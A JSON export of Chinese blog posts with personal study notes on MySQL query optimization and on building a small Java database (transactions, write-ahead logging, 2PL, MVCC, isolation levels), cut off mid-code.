
[{"content":" 数据库基本原理 # 毫无疑问,数据库是后端人员的最应该掌握的核心技术.\n","date":"16 November 2025","externalUrl":null,"permalink":"/mysql/","section":"","summary":"\u003ch1 class=\"relative group\"\u003e数据库基本原理 \n    \u003cdiv id=\"%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e毫无疑问,数据库是后端人员的最应该掌握的核心技术.\u003c/p\u003e\u003c/blockquote\u003e","title":"","type":"mysql"},{"content":"","date":"16 November 2025","externalUrl":null,"permalink":"/","section":"Mio's Tea Time","summary":"","title":"Mio's Tea Time","type":"page"},{"content":" SQL优化问题 # 慢SQL # MySQL 中有⼀个叫 long_query_time 的参数，原则上执⾏时间超过该参数值的 SQL 就是慢 SQL，会被记录到慢查询⽇志中。\nMariaDB [db01]\u0026gt; show variables like \u0026#39;long_query_time\u0026#39;; +-----------------+-----------+ | Variable_name | Value | +-----------------+-----------+ | long_query_time | 10.000000 | +-----------------+-----------+ 1 row in set (0.002 sec) 也就是大于10s,就会被记录成慢SQL.\n基本执行过程 # ​\tServer层负责一些验证,权限/身份查询,是否命中缓存,是否使用innodb进行真正的查询,以及写入缓存的问题.分析器分析SQL语法是否出错.\n客户端发送 SQL 语句给 MySQL 服务器。 如果查询缓存打开则会优先查询缓存，缓存中有对应的结果就直接返回。不过，MySQL 8.0 已经移除了查询缓存。这部分的功能正在被 Redis 等缓存中间件取代。 分析器对 SQL 语句进⾏语法分析，判断是否有语法错误。 搞清楚 SQL 语句要⼲嘛后，MySQL 会通过优化器⽣成执⾏计划。 执⾏器调⽤存储引擎的接⼝，执⾏ SQL 语句。 SQL 执⾏过程中，优化器通过成本计算预估出执⾏效率最⾼的⽅式，基本的预估维度为： IO 成本：从磁盘读取数据到内存的开销。 CPU 成本：CPU 处理内存中数据的开销。 基于这两个维度，可以得出影响 SQL 执⾏效率的因素有： ①、IO 成本，数据量越⼤，IO 成本越⾼。所以要尽量查询必要的字段；尽量分⻚查询；尽量通过索引加快查询。 ②、CPU 成本，尽量避免复杂的查询条件，如有必要，考虑对⼦查询结果进⾏过滤。 怎么优化一些慢SQL? # EXPLAIN SELECT * FROM your_table WHERE conditions; 查看一些慢SQL的执行计划,一般都是因为没有使用到索引导致的.\nSQL 优化的⽅法⾮常多，但本质上就⼀句话：尽可能少地扫描、尽快地返回结果。 最常⻅的做法就是加索引、改写 SQL 让它⽤上索引，⽐如说使⽤覆盖索引、让联合索引遵守最左前缀原则等。\n比如怎么利用覆盖索引? # 如果我们只给一个非主键建立索引,那么会先在这个非聚集的索引中找到,接着还要再在主键建立的索引中查找,这就叫 回表查询.\nselect name from test where city=\u0026#39;上海\u0026#39; 比如这条语句,那么name字段就需要回表查询.\n那么我们就建立一个组合的索引,把name 覆盖 起来,这是比较好的.\nalter table test add index index1(city,name) 这样第一次查询就可以直接返回结果.\n最左前缀原则 # 我们怎么保证在一个联合索引的查询中,一定能使用到索引.\nCREATE INDEX idx_name_age_sex ON user(name, age, sex) 比如有三个字段,很简单,无论什么查找,一定要保证name在条件的最前方.\n分页优化问题 # ​\t添加书签的⽅式是通过记住上⼀次查询返回的最后⼀⾏主键值，然后在下⼀次查询的时候从这个值开始，从⽽跳过偏移量计算，仅扫描⽬标数据，适合翻⻚、资讯流等场景。\n变慢就是因为,我们利用OFFSET查询,必须把整张表都进行一遍扫描,哪怕只是为了返回一条数据.\nJoin连接使用小表驱动大表优化 # 当使⽤ left join 时，左表是驱动表，右表是被驱动表。\n当使⽤ right join 时，刚好相反。\n当使⽤ join 时，MySQL 会选择数据量⽐较⼩的表作为驱动表，⼤表作为被驱动表。\n这里的数据量较小是指实际参与join的数据量的大小,而不是表的总行数的问题.\n-- ⼩表驱动（⾼效） SELECT * FROM small_table s JOIN large_table l ON s.id = l.id;\t-- l.id有索引 -- ⼤表驱动（低效） SELECT * FROM large_table l JOIN small_table s ON l.id = s.id;\t-- s.id⽆索引 避免Join关联过多的table # 1.我们优化路径的成本过高:\nSELECT * FROM A JOIN B ON A.id = B.a_id JOIN C ON B.id = C.b_id JOIN D ON C.id = D.c_id JOIN E ON D.id = E.d_id;\t-- 5 个表，优化器需评估 5! = 120 种顺序 2.中间的结果集合可能缓存过多,导致必须要把内存中的临时表存放到磁盘当中去,这样性能就会很差了.\n排序优化 # 1.对于order by的字段创建index:\n-- 优化前（可能触发 filesort） SELECT * FROM users ORDER BY age DESC; -- 优化后（添加索引） ALTER TABLE users ADD INDEX idx_age (age); 2.遵循最左前缀的原则,即使是在order by的时候,也需要把联合索引最左边的字段放到前面:\n-- 联合索引需与 ORDER BY 顺序⼀致（age 在前，name 在后） ALTER TABLE users ADD INDEX idx_age_name (age, name); -- 有效利⽤索引的查询 SELECT * FROM users ORDER BY age, name; -- ⽆效案例（索引失效，因 name 在索引中排在 age 之后） SELECT * FROM users ORDER BY name, age; 调整一些参数:\n1.sort_buffer_size：⽤于控制排序缓冲区的⼤⼩，默认为 256KB。也就是说，如果排序的数据量⼩于 256KB，MySQL 会在内存中直接排序；否则就要在磁盘上进⾏ filesort。 2.max_length_for_sort_data：单⾏数据的最⼤⻓度，会影响排序算法选择。如果单⾏数据超过该值，MySQL会使⽤双路排序，否则使⽤单路排序。 3.max_sort_length：限制字符串排序时⽐较的前缀⻓度。当 MySQL 不得不对 text、blob 字段进⾏排序时，会截取前 max_sort_length 个字符进⾏⽐较。\nWhat is filesort? # 当不能使⽤索引⽣成排序结果的时候，MySQL 需要⾃⼰进⾏排序，如果数据量⽐较⼩，会在内存中进⾏；如果数据量⽐较⼤就需要写临时⽂件到磁盘再排序，我们将这个过程称为⽂件排序。\n也就是没有index,查询必然会触发filesort,很尴尬.\n全字段排序和 rowid 排序 # 这其实就是没有index索引的时候,使用filesort的两种方法.\n1.全字段排序会一次取出所有的字段在buffer内部进行排序.\n2.不会把所有的字段都取出在buffer中进行排序,我们中间要回一次表.\nMySQL 在执⾏排序操作时，会经历两个过程： 1.内存排序阶段，MySQL ⾸先尝试在 sort buffer 中进⾏排序。如果数据量⼩于 sort_buffer_size 缓冲区⼤⼩，会完全在内存中完成快速排序。 2.外部排序阶段，如果数据量超过 sort_buffer_size，MySQL 会将数据分成多个块，每块单独排序后写⼊临时⽂件，然后对这些已排序的块进⾏归并排序。每次归并操作都会增加 Sort_merge_passes 的计数。\n基本过程:\n我没看懂这张图,buffer满了就要写入磁盘进行归并排序的意思么?\n条件下推 # 这个核心思想就是扫描更少的数据,或者子查询可以返回更少的数据.\n比如:\nSELECT * FROM ( SELECT * FROM orders WHERE total \u0026gt; 100 ) AS subquery WHERE subquery.status = \u0026#39;shipped\u0026#39;; 那么既然你的子查询查询的都是一张table,我们就把条件 下推 到子查询:\nSELECT * FROM ( SELECT * FROM orders WHERE total \u0026gt; 100 AND status = \u0026#39;shipped\u0026#39; ) AS subquery; 比如:\n(SELECT * FROM t1) UNION ALL (SELECT * FROM t2) ORDER BY col LIMIT 10; 既然都只有10个,就没有必要查全部数据:\n(SELECT * FROM t1 ORDER BY col LIMIT 10) UNION ALL (SELECT * FROM t2 ORDER BY col LIMIT 10); 这个比较常见,比如join原始查询:\nSELECT * FROM orders JOIN customers ON orders.customer_id = customers.id WHERE customers.country = \u0026#39;china\u0026#39;; 优化:\nSELECT * FROM orders JOIN ( SELECT * FROM customers WHERE country = \u0026#39;china\u0026#39; ) AS filtered_customers # 这里join的表就会是一个比较小的过滤之后的table. ON orders.customer_id = filtered_customers.id; 注意:\n1.不要使用 != \u0026lt;\u0026gt; 操作符,index失效.\n2.不要在列上使用函数,因为要先进行计算,所以也不能使用index.\nExplain查询计划 # 我们使用explain来分析一个sql的性能问题.\nexplain select * from students where name=\u0026#39;nunotaba\u0026#39;; 就是查看是否进行了filesort,是否使用了索引.\n在 EXPLAIN 输出结果中我最关注的字段是 type、key、rows 和 Extra。 我会通过它们判断 SQL 有没有⾛索引、是否全表扫描、预估扫描⾏数是否太⼤，以及是否触发了 filesort 或临时表。⼀旦发现问题，⽐如 type=ALL 或者 Extra=Using filesort，我会考虑建索引、改写 SQL 或控制查询结果集来做优化。\n这就是我们关注的一些参数.\ntype查询需要到什么等级比较合适? # 从⾼到低的效率排序是 system、const、eq_ref、ref、range、index 和 ALL。 ⼀般情况下，建议 type 值达到 const、eq_ref 或 ref，因为这些类型表明查询使⽤了索引，效率较⾼。 如果是范围查询，range 类型也是可以接受的。 ALL 类型表示全表扫描，性能最差，往往不可接受，需要优化。\n","date":"16 November 2025","externalUrl":null,"permalink":"/mysql/sql%E4%BC%98%E5%8C%96%E9%97%AE%E9%A2%98/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eSQL优化问题 \n    \u003cdiv id=\"sql%E4%BC%98%E5%8C%96%E9%97%AE%E9%A2%98\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#sql%E4%BC%98%E5%8C%96%E9%97%AE%E9%A2%98\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e慢SQL \n    \u003cdiv id=\"%E6%85%A2sql\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E6%85%A2sql\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eMySQL 中有⼀个叫 long_query_time 的参数，原则上执⾏时间超过该参数值的 SQL 就是慢 SQL，会被记录到慢查询⽇志中。\u003c/p\u003e","title":"SQL优化问题","type":"mysql"},{"content":" Mio\u0026rsquo;sDB # 这是一个由Java实现的轻量级的关系型数据库.\n基于 socket 的 server 和 client进行前后端的通信.\n原博客教程及仓库:\nhttps://shinya.click/projects/mydb/mydb0\n运行方式 # 注意首先需要在 pom.xml 中调整编译版本，如果导入 IDE，请更改项目的编译版本以适应你的 JDK\n首先执行以下命令编译源码：\nmvn compile 接着执行以下命令以 /tmp/mydb 作为路径创建数据库：\nmvn exec:java -Dexec.mainClass=\u0026#34;top.guoziyang.mydb.backend.Launcher\u0026#34; -Dexec.args=\u0026#34;-create /tmp/mydb\u0026#34; 随后通过以下命令以默认参数启动数据库服务：\nmvn exec:java -Dexec.mainClass=\u0026#34;top.guoziyang.mydb.backend.Launcher\u0026#34; -Dexec.args=\u0026#34;-open /tmp/mydb\u0026#34; 这时数据库服务就已经启动在本机的 9999 端口。重新启动一个终端，执行以下命令启动客户端连接数据库：\nmvn exec:java -Dexec.mainClass=\u0026#34;top.guoziyang.mydb.client.Launcher\u0026#34; 会启动一个交互式命令行，就可以在这里输入类 SQL 语法，回车会发送语句到服务，并输出执行的结果。\n数据库原理 # 我个人认为现在的后端,应当以数据库为中心.\n这是借鉴的一个简单项目,手写一个数据库,利用java语言.\n原博客教程及仓库:\nhttps://shinya.click/projects/mydb/mydb0\n0.Overview # 前后端利用socket通信进行交互.\n核心模块 # Transaction Manager 事务管理器 # ​\t管理事务的生命周期,实现ACID特性.\n​\t交互： 与 Version Manager (VM) 协作来实现隔离性和回滚，并通知 Data Manager (DM) 何时需要将变更写入磁盘。\nData Manager 数据管理器 # ​\t管理读写,物理存储和持久性.\nVersion Manager 版本管理器 # ​\t实现多版本并发控制,MVCC.\nIndex Manager 索引管理器 # ​\t管理索引,实现B+树或者B树.\nTable Manager 表管理器 # ​\t比较上层的一个组件,管理table,存储table的元信息.\n本教程的实现顺序是 TM -\u0026gt; DM -\u0026gt; VM -\u0026gt; IM -\u0026gt; TBM\n1.实现事务管理器 TM # ​\t你可以理解,我们的事务管理器,只是一直在做一些关于文件的维护,维护当前处理的每一个事务的状态,同时要支持并发的访问.\nXID # xid唯一标识了一个事务.\n自增 不重复\n0:超级事务,可以在没有申请事务的情况下进行.\u0026mdash;\u0026gt;状态一直是commited\nTransactionManager 维护了一个 XID 格式的文件，用来记录各个事务的状态。MYDB 中，每个事务都有下面的三种状态：\nactive，正在进行，尚未结束 committed，已提交 aborted，已撤销（回滚） XID 文件给每个事务分配了一个字节的空间，用来保存其状态。同时，在 XID 文件的头部，还保存了一个 8 字节的数字，记录了这个 XID 文件管理的事务的个数。于是，事务 xid 在文件中的状态就存储在 (xid-1)+8 字节处，xid-1 是因为 xid 0（Super XID）的状态不需要记录。\n基本的接口:\n// 开启事务 long begin(); // 提交事务 void commit(long xid); // 取消事务 void abort(long xid); // 查询事务状态 boolean isActive(long xid); boolean isCommitted(long xid); boolean isAborted(long xid); // 关闭事务管理器 void close(); 我们这里使用Java的 NIO来进行文件的读写.\n核心特性：直接内存映射 (Memory-Mapped I/O) # FileChannel 最强大的特性之一是它支持 直接内存映射 I/O (Memory-Mapped I/O, MappedByteBuffer)。\n工作原理： 你可以将文件的一部分甚至整个文件，映射 (map) 到 Java 虚拟机的内存中。 好处： 一旦映射完成，对文件内容的读写就像读写内存中的数组一样简单。 操作系统负责在内存和磁盘之间同步数据，避免了传统 I/O 中数据在内核缓冲区和用户缓冲区之间的多次拷贝（这是一个巨大的性能提升点）。 对于你的 Data Manager (DM) 来说，这非常理想，因为 DM 需要处理大量的随机读写，而内存映射能极大地加速对数据页的访问。\n2.实现数据管理器 DM # 实现引用计数缓存框架/共享内存数组(Java没有指针) # 我们接下来去实现DM.\n1.分页管理DB.\n2.管理日志文件,发生错误时可以进行恢复.\n3.抽象DB文件给上层使用,提供缓存.\n这就是DAO层的核心,向下会直接管理数据,并且会为上层提供调用的接口.\n我们引入缓存系统,而我们管理的方式是引用计数.\n为什么不使用LRU算法?\n​\t某个时刻缓存满了，缓存驱逐了一个资源，这时上层模块想要将某个资源强制刷回数据源，这个资源恰好是刚刚被驱逐的资源。那么上层模块就发现，这个数据在缓存里消失了，这时候就陷入了一种尴尬的境地：是否有必要做回源操作？\n不回源。由于没法确定缓存被驱逐的时间，更没法确定被驱逐之后数据项是否被修改，这样是极其不安全的 回源。如果数据项被驱逐时的数据和现在又是相同的，那就是一次无效回源 放回缓存里，等下次被驱逐时回源。看起来解决了问题，但是此时缓存已经满了，这意味着你还需要驱逐一个资源才能放进去。这有可能会导致缓存抖动问题 release释放引用,引用为0的时候,就自动驱逐这个资源.\n// 尝试获取该资源 if(maxResource \u0026gt; 0 \u0026amp;\u0026amp; count == maxResource) { lock.unlock(); // 缓存已满，抛出异常 throw Error.CacheFullException; } 缓存满的时候,直接结束.\n这里的所有资源,我们都是使用三张hash table来管理的.\n数据页的缓存和管理问题 # 我们怎么操作文件系统?\n读写和缓存都是以page作为基本单位.\n数据即文件,我们的数据都存放在磁盘文件内部.\n这里缓存的实现,就是比较基本的缓存思想.\n页面管理 # db的第一页存放一些元数据,每次打开的时候,和上一次进行校验,看是否合法\n剩下的就是正常的数据页.\n2bytes 存放当前页面内部的空闲位置的偏移,在做insert的时候,我们主要就是使用这里的数据\n日志文件和恢复策略 # 这里的恢复思想和文件系统的崩溃恢复是类似的.\nMYDB 提供了崩溃后的数据恢复功能。DM 层在每次对底层数据操作时，都会记录一条日志到磁盘上。在数据库奔溃之后，再次启动时，可以根据日志的内容，恢复数据文件，保证其一致性。\n[XChecksum][Log1][Log2][Log3]...[LogN][BadTail] 一个基本的日志文件的组成:\n1.Checksum对所有log做校验和.\n2.BadTail就是崩溃时没有写完的日志数据.\n“Write-Ahead Logging(WAL)”的意思是：在数据页面的实际修改（写入主数据文件）之前，必须先把描述这个修改的记录（日志）写入并持久化到日志文件。\n恢复策略 # Data Manager 为上层提供了两种操作: insert and update with no delete why?\nAnd the same as file system,we use the strategy of WAL.\n对于两种数据操作，DM 记录的日志如下：\n(Ti, I, A, x)，表示事务 Ti 在 A 位置插入了一条数据 x (Ti, U, A, oldx, newx)，表示事务 Ti 将 A 位置的数据，从 oldx 更新成 newx 非并发的情况下,log可能是这样:\n(Ti, x, x), ..., (Ti, x, x), (Tj, x, x), ..., (Tj, x, x), (Tk, x, x), ..., (Tk, x, x) 单线程 # 由于单线程，Ti、Tj 和 Tk 的日志永远不会相交。这种情况下利用日志恢复很简单，假设日志中最后一个事务是 Ti：\n对 Ti 之前所有的事务的日志，进行重做（redo） 接着检查 Ti 的状态（XID 文件），如果 Ti 的状态是已完成（包括 committed 和 aborted,这里意味着这里的一个log是完整的.），就将 Ti 重做，否则进行撤销（undo） 接着，是如何对事务 T 进行 redo：\n正序扫描事务 T 的所有日志 如果日志是插入操作 (Ti, I, A, x)，就将 x 重新插入 A 位置 如果日志是更新操作 (Ti, U, A, oldx, newx)，就将 A 位置的值设置为 newx undo 也很好理解：\n倒序扫描事务 T 的所有日志 如果日志是插入操作 (Ti, I, A, x)，就将 A 位置的数据删除 如果日志是更新操作 (Ti, U, A, oldx, newx)，就将 A 位置的值设置为 oldx 注意，MYDB 中其实没有真正的删除操作，对于插入操作的 undo，只是将其中的标志位设置为 invalid。对于删除的探讨将在 VM 一节中进行。\n考察几种多线程的情况:\nT1 begin T2 begin T2 U(x) T1 R(x) ... T1 commit T2 Running MYDB break down 两个事务都在进行的时候,一个事务读取了另外一个事务的更新的内容,但是breakdown的时候,T2应当被撤销.\n级联回滚.\nI.一个正在进行的事务,不应当读取其余的未提交的事务的数据!\nT1 begin T2 begin T1 set x = x+1 // 产生的日志为 (T1, U, A, 0, 1) T2 set x = x+1 // 产生的日志为 (T1, U, A, 1, 2) T2 commit T1 Running MYDB break down breakdown的时候,T2已经提交事务,但是T1还在进行.\n那么我们恢复的时候,对于T2进行重做,对于T1撤销,这个顺序无论怎样,结果都是0或者2.\nII.一个正在进行的事务,不应当修改其余未提交的事务的数据!(但其实是可以的)\n实际上VM层可以保证这两点的实现.\n我们只要保证:\n重做所有崩溃时已完成（committed 或 aborted）的事务 撤销所有崩溃时未完成（active）的事务 索引和Data Item的抽象 # 页面索引，缓存了每一页的空闲空间。用于在上层模块进行插入操作时，能够快速找到一个合适空间的页面，而无需从磁盘或者缓存中检查每一个页面的信息。\nMYDB 用一个比较粗略的算法实现了页面索引，将一页的空间划分成了 40 个区间。在启动时，就会遍历所有的页面信息，获取页面的空闲空间，安排到这 40 个区间中。insert 在请求一个页时，会首先将所需的空间向上取整，映射到某一个区间，随后取出这个区间的任何一页，都可以满足需求。\n3.实现version manager VM # 版本控制器? 事务 和 数据版本管理的核心.\n要实现版本管理器的主要问题就是解决并发!\n2PL 和 MVCC # ​\t2PL (Two-Phase Locking, 两阶段锁定) 和 MVCC (Multi-Version Concurrency Control, 多版本并发控制) 是现代数据库用来保证事务 隔离性 (Isolation) 的主要方法.\n​\t我们定义冲突:\n​\t两个不同的事务,对于一块资源同时update或者一个update另一个read\u0026mdash;\u0026gt;冲突.\n核心原理：两阶段 2PL # 顾名思义，2PL 将事务的锁定行为分为两个严格的阶段：\n增长阶段 (Growing Phase) 行为： 事务可以 获取 (Acquire) 任何它需要的锁，但 不能释放 任何已持有的锁。 目的： 确保事务在执行过程中，它所需的所有资源都能被安全地保护起来。 收缩阶段 (Shrinking Phase) 行为： 事务可以 释放 (Release) 锁，但 不能再获取 任何新的锁。 目的： 一旦事务进入收缩阶段，它不能再请求新的资源，这保证了锁的释放是单向的，从而保证了 可串行化 (Serializability) 的隔离级别。 锁的类型\n共享锁 (S-Lock / Read Lock)： 允许多个事务同时读取数据。\n排他锁 (X-Lock / Write Lock)： 只允许一个事务修改数据，阻止所有其他事务的读写。\n比如上面我们就会使用排他锁,两个正在进行的事务不能同时或者至少有一个在进行update操作.\n优点和缺点\n特点 描述 优点： 隔离性强： 很容易实现最高的 可串行化 隔离级别。 缺点： 低并发性： 读操作（即使是共享锁）也会阻塞写操作，反之亦然，降低了系统的并行处理能力。 缺点： 死锁 (Deadlock)： 事务可能因为互相等待对方释放锁而陷入僵局，需要额外的死锁检测和解决机制。 MVCC # 在介绍 MVCC 之前，首先明确记录和版本的概念。\nDM 层向上层提供了数据项（Data Item）的概念，VM 通过管理所有的数据项，向上层提供了记录（Entry）的概念。上层模块通过 **VM 操作数据的最小单位，就是记录。**VM 则在其内部，**为每个记录，维护了多个版本（Version）。**每当上层模块对某个记录进行修改时，VM 就会为这个记录创建一个新的版本。\nMYDB 通过 MVCC，降低了事务的阻塞概率。譬如，T1 想要更新记录 X 的值，于是 T1 需要首先获取 X 的锁，接着更新，也就是创建了一个新的 X 的版本，假设为 x3。假设 T1 还没有释放 X 的锁时，T2 想要读取 X 的值，这时候就不会阻塞，MYDB 会返回一个较老版本的 X(所以叫多版本并发控制)，例如 x2。这样最后执行的结果，就等价于，T2 先执行(也就是T2会读取到没有更新的值,我们的两个事务本来没有前后逻辑的要求.)，T1 后执行，调度序列依然是可串行化的。如果 X 没有一个更老的版本，那只能等待 T1 释放锁了。所以只是降低了概率。\n还记得我们在第四章中，为了保证数据的可恢复，VM 层传递到 DM 的操作序列需要满足以下两个规则：\n规定 1：正在进行的事务，不会读取其他任何未提交的事务产生的数据。(这是由MVCC实现的,你想读取的时候,我们返回给你一个老版本的数据.) 规定 2：正在进行的事务，不会修改其他任何未提交的事务修改或产生的数据。(直接使用2PL中的排他锁实现的.)\n由于 2PL 和 MVCC，我们可以看到，这两个条件都被很轻易地满足了。\n​\tMVCC 是一种 乐观 (Optimistic) 的并发控制机制，它避免了读写之间的锁竞争，通过 保存数据的多个版本 来实现隔离。\n核心原理：版本和快照\n不阻塞读取： 当一个事务 T_{read} 读取数据时，它不会申请锁，而是获取一个 数据快照 (Snapshot)。 多版本存储： 当一个写入事务 T_{write} 修改数据时，它不会覆盖旧数据，而是创建一个数据的 新版本。旧版本被保留下来。 可见性判断： 每个数据版本都标记有创建它的事务 ID（T*{start}）和删除它的事务 ID（T*{end}）。事务 T_{read} 根据其启动时的 Read View（活跃事务集合），判断哪个版本对它是“可见”的。 简单来说，读取事务 T_{read} 只会看到在它开始之前就已经提交的数据版本。 隔离性实现\nMVCC 特别适合实现 读提交 (Read Committed) 和 可重复读 (Repeatable Read) 等隔离级别：\n读取事务 永远不会被 写入事务 阻塞。 写入事务 只在提交时进行冲突检查或锁定，但不会阻塞读取。 优点和缺点\n特点 描述 优点： 高并发性： 读操作和写操作很少互相阻塞，极大地提高了 OLTP (在线事务处理) 的性能。 优点： 无死锁（读写）： 读事务不需要锁，因此不会发生读写之间的死锁。 缺点： 存储开销： 需要额外的存储空间来保存数据的多个历史版本。 缺点： 垃圾回收 (GC)： 需要一个 Version Manager (VM) 机制来定期清理（垃圾回收）那些不再被任何活跃事务引用的旧版本数据。 事务的隔离级别 # 读提交 # 当一个记录的最新版本被加锁,有另一个事务尝试进行读取的时候,会返回旧的版本数据,那么新版本对于这个事务来说就是,不可见的,这就是 版本可见性 的问题.\n​\t最低隔离度:读取数据时,只能读取已经提交的事务产生的数据.\nMYDB 实现读提交，为每个版本维护了两个变量，就是上面提到的 XMIN 和 XMAX：\nXMIN：创建该版本的事务编号 XMAX：删除该版本的事务编号 XMIN 应当在版本创建时填写，而 XMAX 则在版本被删除，或者有新版本出现时填写。\nXMAX 这个变量，也就解释了为什么 DM 层不提供删除操作，当想删除一个版本时，只需要设置其 XMAX，这样，这个版本对每一个 XMAX 之后的事务都是不可见的，也就等价于删除了。\n利用版本可见性,我们就实现了删除.\n我们判断一个记录对于某个事务t是否是可见的:\n/** * 读提交,判断一个版本对事务t是否可见 * @param tm 事务管理器 * @param t 事务 * @param e 记录 * @return 版本是否对事务可见 */ private static boolean readCommitted(TransactionManager tm, Transaction t, Entry e) { long xid = t.xid; long xmin = e.getXmin(); long xmax = e.getXmax(); // 自己创建的记录且未删除 if(xmin == xid \u0026amp;\u0026amp; xmax == 0) return true; // 创建该记录的事务已提交 if(tm.isCommitted(xmin)) { // 并且还未被删除,就是可见的 if(xmax == 0) return true; // 否则,如果删除该记录的事务不是自己且未提交,也是可见的 // 因为如果提交了,说明记录被删除了,对当前事务不可见 if(xmax != xid) { if(!tm.isCommitted(xmax)) { return true; } } } return false; } 读提交的问题:不可重复读/幻读 # Non-Repeatable Read: # ​\t之前的问题:在一个事务内,我对于一个记录访问了两次:\n​\t1.第一次访问的时候,返回的是旧版本.\n​\t2.第二次事务已经读提交,变得可见,返回新版本,两次不一样.\n事务 A 开始，并执行第一次查询：SELECT * FROM users WHERE id = 10; 得到数据 R_1。 事务 B 紧接着修改了这条记录：UPDATE users SET balance = 500 WHERE id = 10; 并 提交 (COMMIT) 事务。 事务 A 再次执行同样的查询：SELECT * FROM users WHERE id = 10; 得到数据 R_2。 结果： R_1 \\neq R_2。事务 A 在 R_1 和 R_2 之间看到了另一个已提交事务 B 的修改。 Phantom Read: # ​\t多次执行同一个范围查询的时候,两次出现的集合不一样,其实和上面是类似的:\n事务 A 开始，执行第一次范围查询：SELECT COUNT(*) FROM products WHERE type = 'Electronics'; 得到结果 C_1。 事务 B 紧接着插入了一条满足查询条件的新记录：INSERT INTO products (name, type) VALUES ('Phone', 'Electronics'); 并 提交 (COMMIT) 事务。 事务 A 再次执行同样的范围查询：SELECT COUNT(*) FROM products WHERE type = 'Electronics'; 得到结果 C_2。 结果： C_1 \\neq C_2。事务 A 发现了一个 幻影行 (Phantom Row)，这条新行是事务 B 插入的 多帅的名字!\n异常行为 隔离级别 如何解决？ 机制 不可重复读 可重复读 (Repeatable Read) 事务 A 在第一次读取时，会锁定或快照这条记录，阻止事务 B 的修改或看不到事务 B 的修改。 2PL (行锁) 或 MVCC (事务快照) 幻读 可串行化 (Serializable) 事务 A 在第一次范围查询时，需要锁定 整个查询范围，阻止事务 B 在这个范围内进行 INSERT。 间隙锁 (Gap Lock) 或 谓词锁 (Predicate Lock) 解决不可重复读,引入新的隔离级别:可重复读 # 事务只能读取它开始时，就已经结束的那些事务产生的数据版本.\n这条规定，增加于，事务需要忽略：\n在本事务后开始的事务的数据; 本事务开始时还是 active 状态的事务的数据 就是非常保守,我只认定在我之前就结束的记录. ​\t对于第一条，只需要比较事务 ID，即可确定。而对于第二条，则需要在事务 Ti 开始时，记录下当前活跃的所有事务 SP(Ti)，如果记录的某个版本，XMIN 在 SP(Ti) 中，也应当对 Ti 不可见。\n​\t也就是事务开始的时候,要保存一个快照.\n我们先使用一个hashmap保存所有活跃事务的id:\n/** * 创建一个新的事务对象,并根据隔离级别生成快照,snapshot中包含了所有在该事务开始时活跃的事务id * @param xid 事务id * @param level 事务隔离级别 * @param active 当前活跃的事务列表 * @return 新的事务对象 */ public static Transaction newTransaction(long xid, int level, Map\u0026lt;Long, Transaction\u0026gt; active) { Transaction t = new Transaction(); t.xid = xid; t.level = level; if(level != 0) { t.snapshot = new HashMap\u0026lt;\u0026gt;(); for(Long x : active.keySet()) { t.snapshot.put(x, true); } } return t; } 我们可重复读级别可见性的逻辑就是:\n/** * 可重复读,判断一个版本对事务t是否可见 * @param tm 事务管理器 * @param t 事务 * @param e 记录 * @return 版本是否对事务可见,在可重复读隔离级别下 */ private static boolean repeatableRead(TransactionManager tm, Transaction t, Entry e) { long xid = t.xid; long xmin = e.getXmin(); long xmax = e.getXmax(); // 自己创建的记录且未删除 if(xmin == xid \u0026amp;\u0026amp; xmax == 0) return true; // 创建该记录的事务已提交,且在当前事务开始前就已经提交,且不在当前事务的活跃快照中 if(tm.isCommitted(xmin) \u0026amp;\u0026amp; xmin \u0026lt; xid \u0026amp;\u0026amp; !t.isInSnapshot(xmin)) { // 并且还未被删除,就是可见的 if(xmax == 0) return true; // 否则,如果删除该记录的事务不是自己且未提交,或者在当前事务的活跃快照中,也是可见的 // 说白了,在我可重复读级别看来,你就是没删除也没修改 if(xmax != xid) { if(!tm.isCommitted(xmax) || xmax \u0026gt; xid || t.isInSnapshot(xmax)) { return true; } } } return false; } 真正实现VM # ​\t说到版本跳跃之前，顺便提一嘴，MVCC 的实现，使得 MYDB 在撤销或是回滚事务很简单：只需要将这个事务标记为 aborted 即可。根据前一章提到的可见性，每个事务都只能看到其他 committed 的事务所产生的数据，一个 aborted 事务产生的数据，就不会对其他事务产生任何影响了，也就相当于，这个事务不曾存在过。\nMVCC版本跳跃问题 # T1 begin T2 begin R1(X) // T1 读取 x0 R2(X) // T2 读取 x0 U1(X) // T1 将 X 更新到 x1 T1 commit U2(X) // T2 将 X 更新到 x2 T2 commit 中间跳跃了一个x1的版本,但是你可以看出来,如果是读提交的隔离级别,就是没有问题的.\n但是可重复读是不允许的.\nTi 不可见的 Tj，有两种情况：\nXID(Tj) \u0026gt; XID(Ti) 这个事务在我之后创建. Tj in SP(Ti) 这个事务在活跃快照之中. 于是版本跳跃的检查也就很简单了，取出要修改的数据 X 的最新提交版本，并检查该最新版本的创建者对当前事务是否可见：\n// 是否有版本跳跃的问题 public static boolean isVersionSkip(TransactionManager 